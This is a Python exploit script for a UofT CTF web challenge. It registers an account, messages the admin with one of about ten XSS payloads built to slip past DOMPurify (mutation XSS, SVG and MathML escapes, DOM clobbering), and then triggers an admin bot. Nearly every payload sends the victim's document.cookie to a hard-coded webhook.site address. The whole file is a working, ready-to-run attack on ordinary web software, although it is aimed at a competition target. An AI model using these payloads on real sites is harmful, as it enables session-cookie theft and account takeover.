#!/usr/bin/env python3
"""
FLAG 1 - Remote Exploit for uoftctf.org
========================================

This exploit works against the remote instance.
You need a webhook/server to receive exfiltrated data.
"""

import requests
import json
import time
import sys
from urllib.parse import quote, quote_plus

# Remote target
BASE_URL = "https://unrealistic-1-7e47fbb90382563c.chals.uoftctf.org"

# Hard-coded webhook URL
WEBHOOK_URL = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

print("""
╔══════════════════════════════════════════════════════════════════════╗
║                    FLAG 1 - REMOTE EXPLOIT                          ║
║           Unrealistic Client-Side Challenge - UofT CTF              ║
╚══════════════════════════════════════════════════════════════════════╝

Using webhook: {0}
""".format(WEBHOOK_URL))

class RemoteExploit:
    def __init__(self):
        self.session = None
        self.username = f"hacker_{int(time.time())}"
        self.password = "pwned123"
        self.http_session = requests.Session()
        self.http_session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
    def register(self):
        """Register a new attacker account on remote server"""
        print(f"\n[*] Registering as {self.username} on remote server...")
        try:
            # First try to login in case account already exists
            resp = self.http_session.post(
                f"{BASE_URL}/login",
                data={"username": self.username, "password": self.password},
                allow_redirects=False,
                timeout=10
            )
            if resp.status_code in [302, 303]:
                self.session = resp.cookies.get("session")
                print(f"[+] Logged in successfully (account already exists)!")
                return True
            
            # Account doesn't exist, try to register
            time.sleep(1)  # Small delay to avoid rate limits
            resp = self.http_session.post(
                f"{BASE_URL}/register",
                data={"username": self.username, "password": self.password},
                allow_redirects=False,
                timeout=10
            )
            if resp.status_code in [302, 303]:
                self.session = resp.cookies.get("session")
                print(f"[+] Successfully registered!")
                return True
            else:
                print(f"[-] Registration failed: {resp.status_code}")
                print(f"    Response: {resp.text[:200]}")
                return False
        except Exception as e:
            print(f"[-] Error during registration: {e}")
            return False
    
    def send_payload(self, payload_type="mxss1"):
        """Send malicious message to admin"""
        
        # Payloads optimized for DOMPurify bypass
        payloads = {
            "mxss1": {
                "name": "mXSS Form/Math Confusion v1",
                "payload": f'<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=this.src="{WEBHOOK_URL}?flag="+document.cookie>'
            },
            "mxss2": {
                "name": "mXSS Form/Math Confusion v2",
                "payload": f'<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=location="{WEBHOOK_URL}?flag="+document.cookie>'
            },
            "svg1": {
                "name": "SVG CDATA Escape",
                "payload": f'<svg><style><![CDATA[</style><img src=x onerror=location.href="{WEBHOOK_URL}?flag="+document.cookie>]]></svg>'
            },
            "svg2": {
                "name": "SVG foreignObject",
                "payload": '<svg><foreignObject><img src=x onerror="location=\'' + WEBHOOK_URL + '?flag=\'+document.cookie"></foreignObject></svg>'
            },
            "mathml1": {
                "name": "MathML Style Escape",
                "payload": '<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=x onerror=location=\'' + WEBHOOK_URL + '?flag=\'+document.cookie>">'
            },
            "clobber": {
                "name": "DOM Clobbering",
                "payload": f'<form id=DOMPurify><input name=sanitize></form><img src=x onerror=location="{WEBHOOK_URL}?flag="+document.cookie>'
            },
            "noscript": {
                "name": "Noscript mXSS",
                "payload": '<noscript><p title="</noscript><img src=x onerror=location=\'' + WEBHOOK_URL + '?flag=\'+document.cookie>">'
            },
            "baseline": {
                "name": "Baseline Test (will be blocked)",
                "payload": f'<script>location="{WEBHOOK_URL}?flag="+document.cookie</script>'
            },
            "template": {
                "name": "Template Element",
                "payload": f'<template><img src=x onerror=location="{WEBHOOK_URL}?flag="+document.cookie></template>'
            },
            "meta": {
                "name": "Meta Tag Navigation (cookie won't be in URL though)",
                "payload": f'<meta http-equiv="refresh" content="0;url={WEBHOOK_URL}?test=meta">'
            }
        }
        
        if payload_type not in payloads:
            payload_type = "mxss1"
        
        payload_info = payloads[payload_type]
        payload = payload_info["payload"]
        
        print(f"\n[*] Sending payload: {payload_info['name']}")
        print(f"[*] Payload preview: {payload[:80]}...")
        
        try:
            cookies = {"session": self.session}
            resp = self.http_session.post(
                f"{BASE_URL}/compose",
                data={"to": "admin", "body": payload},
                cookies=cookies,
                allow_redirects=False,
                timeout=10
            )
            
            if resp.status_code == 303:
                try:
                    data = json.loads(resp.text)
                    msg_id = data.get("id")
                    print(f"[+] Message sent! ID: {msg_id}")
                    return msg_id
                except:
                    print(f"[+] Message sent successfully!")
                    return True
            else:
                print(f"[-] Failed to send message: {resp.status_code}")
                print(f"    Response: {resp.text[:300]}")
                return False
        except Exception as e:
            print(f"[-] Error sending message: {e}")
            return False
    
    def trigger_bot(self):
        """Trigger the admin bot"""
        target_url = "http://127.0.0.1:5000/inbox"
        print(f"\n[*] Triggering bot to visit: {target_url}")
        
        try:
            resp = self.http_session.post(
                f"{BASE_URL}/bot",
                data={"url": target_url},
                timeout=30
            )
            
            if resp.status_code == 200 and "Bot ran" in resp.text:
                print(f"[+] Bot triggered successfully!")
                print(f"\n[!] CHECK YOUR WEBHOOK NOW: {WEBHOOK_URL}")
                print(f"[!] Look for a request with 'flag' parameter")
                print(f"[!] The value will be a JWT token")
                return True
            else:
                print(f"[-] Bot trigger failed: {resp.status_code}")
                print(f"    Response: {resp.text[:500]}")
                return False
        except Exception as e:
            print(f"[-] Error triggering bot: {e}")
            return False
    
    def run(self, payload_type="mxss1"):
        """Run full exploit"""
        print("\n" + "="*70)
        print("STARTING EXPLOIT")
        print("="*70)
        
        if not self.register():
            return False
        
        time.sleep(1)
        
        if not self.send_payload(payload_type):
            return False
        
        print("\n[*] Waiting 3 seconds before triggering bot...")
        time.sleep(3)
        
        if not self.trigger_bot():
            return False
        
        print("\n" + "="*70)
        print("EXPLOIT COMPLETED!")
        print("="*70)
        print(f"\n[!] Now check your webhook at: {WEBHOOK_URL}")
        print(f"[!] The flag is in the JWT cookie under the 'flag' claim")
        print(f"\n[*] To decode the JWT:")
        print(f"    1. Copy the 'session' cookie value from your webhook")
        print(f"    2. Go to https://jwt.io")
        print(f"    3. Paste it and look at the payload section")
        print(f"    4. Find the 'flag' field")
        print(f"\n[*] Or decode programmatically:")
        print(f"    python decode_jwt.py <jwt_token>")
        
        return True

def main():
    exploit = RemoteExploit()
    
    print("\n" + "="*70)
    print("PAYLOAD OPTIONS")
    print("="*70)
    print("1. mxss1     - Form/Math Confusion (location redirect)")
    print("2. mxss2     - Form/Math Confusion (this.src)")
    print("3. svg1      - SVG CDATA")
    print("4. svg2      - SVG foreignObject")
    print("5. mathml1   - MathML escape")
    print("6. clobber   - DOM Clobbering")
    print("7. noscript  - Noscript mutation")
    print("8. template  - Template element")
    print("9. meta      - Meta refresh (limited)")
    print("10. all      - Try all payloads")
    
    choice = input("\nSelect payload (1-10 or name): ").strip().lower()
    
    payload_map = {
        "1": "mxss1", "2": "mxss2", "3": "svg1", "4": "svg2",
        "5": "mathml1", "6": "clobber", "7": "noscript",
        "8": "template", "9": "meta", "10": "all"
    }
    
    if choice in payload_map:
        choice = payload_map[choice]
    
    if choice == "all":
        print("\n[*] Trying all payloads...")
        for ptype in ["mxss1", "mxss2", "svg1", "svg2", "mathml1", "clobber", "noscript"]:
            print(f"\n{'='*70}")
            print(f"TRYING: {ptype}")
            print('='*70)
            exploit = RemoteExploit()
            exploit.run(ptype)
            print(f"\n[*] Waiting 15 seconds before next attempt...")
            time.sleep(15)
    else:
        exploit.run(choice if choice in ["mxss1", "mxss2", "svg1", "svg2", "mathml1", "clobber", "noscript", "template", "meta", "baseline"] else "mxss1")
    
    print("\n[*] Done! Check your webhook for the flag.")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Interrupted by user")
    except Exception as e:
        print(f"\n[-] Error: {e}")
        import traceback
        traceback.print_exc()
